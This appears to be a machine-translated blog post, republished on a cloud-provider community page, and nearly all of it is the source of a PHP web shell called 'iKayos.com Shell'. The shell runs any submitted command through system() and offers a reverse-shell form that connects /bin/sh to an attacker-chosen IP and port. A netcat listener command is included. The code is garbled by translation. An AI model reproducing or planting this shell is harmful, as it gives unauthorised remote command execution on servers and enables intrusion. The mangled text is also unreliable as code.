IKayos.com Shell

Source: Internet
Author: User

Links blog

One day, I went to mi and watched exp go to an organization and register it.

E. It took me a lot of time, but it was still a bit rewarding. It is found that the difference between foreign countries and China is really far away

Microsoft's scripting language is not widely used in other countries .. I went to study php. I don't feel the tools.

IKayos.com Shell:

<? Php
Function realip ()
{
If (! Empty ($ _ SERVER [HTTP_CLIENT_IP])
{
$ Ip = $ _ SERVER [HTTP_CLIENT_IP];
}
Elseif (! Empty ($ _ SERVER [HTTP_X_FORWARDED_FOR])
{
$ Ip = $ _ SERVER [HTTP_X_FORWARDED_FOR];
}
Else
{
$ Ip = $ _ SERVER [REMOTE_ADDR];
}
Return $ ip;
}
Function printit ($ string ){
If (! $ Daemon ){
Print "$ string ";
}
}
If (stristr (PHP_ OS, WIN )){
$ Win = true;
} Else {
$ Win = false;
}
$ Ip = $ _ SERVER [SERVER_ADDR];
$ Name = $ _ SERVER [SERVER_NAME];
Echo "<font color = #00FF55> ";
Echo ($ name. "-". $ ip ."-");
Echo (php_uname ());
Echo "</font> ";
Echo ("<title> $ name-$ ip-iKayos.com Shell </title> ");
Echo If (! Empty ($ _ POST [cmd]) {
$ Cmd = $ _ POST [cmd];
Echo <pre>;
System ($ cmd, $ out );
Echo </pre>;
If (! Empty ($ out )){
If ($ out = 1 ){
Echo ("<font color = red> Something didnt work </font> ");
}
If ($ out = 127 ){
Echo ("<font color = red> Command not found </font> ");
}
If ($ out = 126 ){
Echo ("<font color = red> Command invoked cannot execute (Permissions ?) </Font> ");
}
}

}
?>
<Form method = POST>
<Input type = text size = 30 name = cmd/>
<Input type = submit value = Execute/>
</Form>
<? Php
$ Uip = realip ();
If ($ win = false ){
?>
<Form method = POST>
<Label for = "sip" style = "width: 35px; float: left;"> IP: </label> <input type = "text" size = "20" name = "sip" value = "<? Php echo ($ uip);?> "/> <Br/>
<Label for = "sport" style = "width: 35px; float: left;"> Port: </label> <input type = text size = 20 name = sport value = 4321/> <br/>
<Input type = submit value = Reverse Shell/> <br/>
</Form>
<A href = "#" onclick = "showhide (nc);"> NetCat Command </a> <br/>
<Div id = "nc" style = "display: none;"> nc-v-n-l-p PORT </div>
<? Php
}
If (! Empty ($ _ POST [sip]) and! Empty ($ _ POST [sport]) {
Set_time_limit (0 );
$ VERSION = "1.0 ";
$ Ip = $ _ POST [sip];
$ Port = $ _ POST [sport];
$ Chunk_size = 1400;
$ Write_a = null;
$ Error_a = null;
$ Shell = echo ------iKayos.com PHP Reverse Shell ------; uname-a;/bin/sh-I;
$ Daemon = 0;
$ Debug = 0;
If (function_exists (pcntl_fork )){
$ Pid = pcntl_fork ();
If ($ pid =-1 ){
Printit ("ERROR: Cant fork ");
Exit (1 );
}
If ($ pid ){
Exit (0 );
}
If (posix_setsid () =-1 ){
Printit ("Error: Cant setsid ()");
Exit (1 );
}
$ Daemon = 1;
} Else {
Printit ("WARNING: Failed to daemonise. This is quite common and not fatal. <br/> ");
}
Chdir ("/");
Umask (0 );
$ Sock = fsockopen ($ ip, $ port, $ errno, $ errstr, 30 );
If (! $ Sock ){
Printit ("$ errstr ($ errno )");
Exit (1 );
}
$ Descriptorspec = array (
0 => array ("pipe", "r "),
1 => array ("pipe", "w "),
2 => array ("pipe", "w ")
);
$ Process = proc_open ($ shell, $ descriptorspec, $ pipes );
If (! Is_resource ($ process )){
Printit ("ERROR: Cant spawn shell ");
Exit (1 );
}
Stream_set_blocking ($ pipes [0], 0 );
Stream_set_blocking ($ pipes [1], 0 );
Stream_set_blocking ($ pipes [2], 0 );
Stream_set_blocking ($ sock, 0 );
Printit ("Successfully opened reverse shell to $ ip: $ port <br/> ");
While (1 ){
If (feof ($ sock )){
Printit ("ERROR: Shell connection terminated ");
Break;
}
If (feof ($ pipes [1]) {
Printit ("ERROR: Shell process terminated ");
Break;
}
$ Read_a = array ($ sock, $ pipes [1], $ pipes [2]);
$ Num_changed_sockets = stream_select ($ read_a, $ write_a, $ error_a, null );
If (in_array ($ sock, $ read_a )){
If ($ debug) printit ("sock read ");
$ Input = fread ($ sock, $ chunk_size );
If ($ debug) printit ("SOCK: $ input ");
Fwrite ($ pipes [0], $ input );
}
If (in_array ($ pipes [1], $ read_a )){
If ($ debug) printit ("stdout read ");
$ Input = fread ($ pipes [1], $ chunk_size );
If ($ debug) printit ("STDOUT: $ input ");
Fwrite ($ sock, $ input );
}
If (in_array ($ pipes [2], $ read_a )){
If ($ debug) printit ("stderr read ");
$ Input = fread ($ pipes [2], $ chunk_size );
If ($ debug) printit ("STDERR: $ input ");
Fwrite ($ sock, $ input );
}
}
Fclose ($ sock );
Fclose ($ pipes [0]);
Fclose ($ pipes [1]);
Fclose ($ pipes [2]);
Proc_close ($ process );
}
Echo ("<p/> <small> Shell by <a href = http://iKayos.com/> Kayos </a> </small> ")
?>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.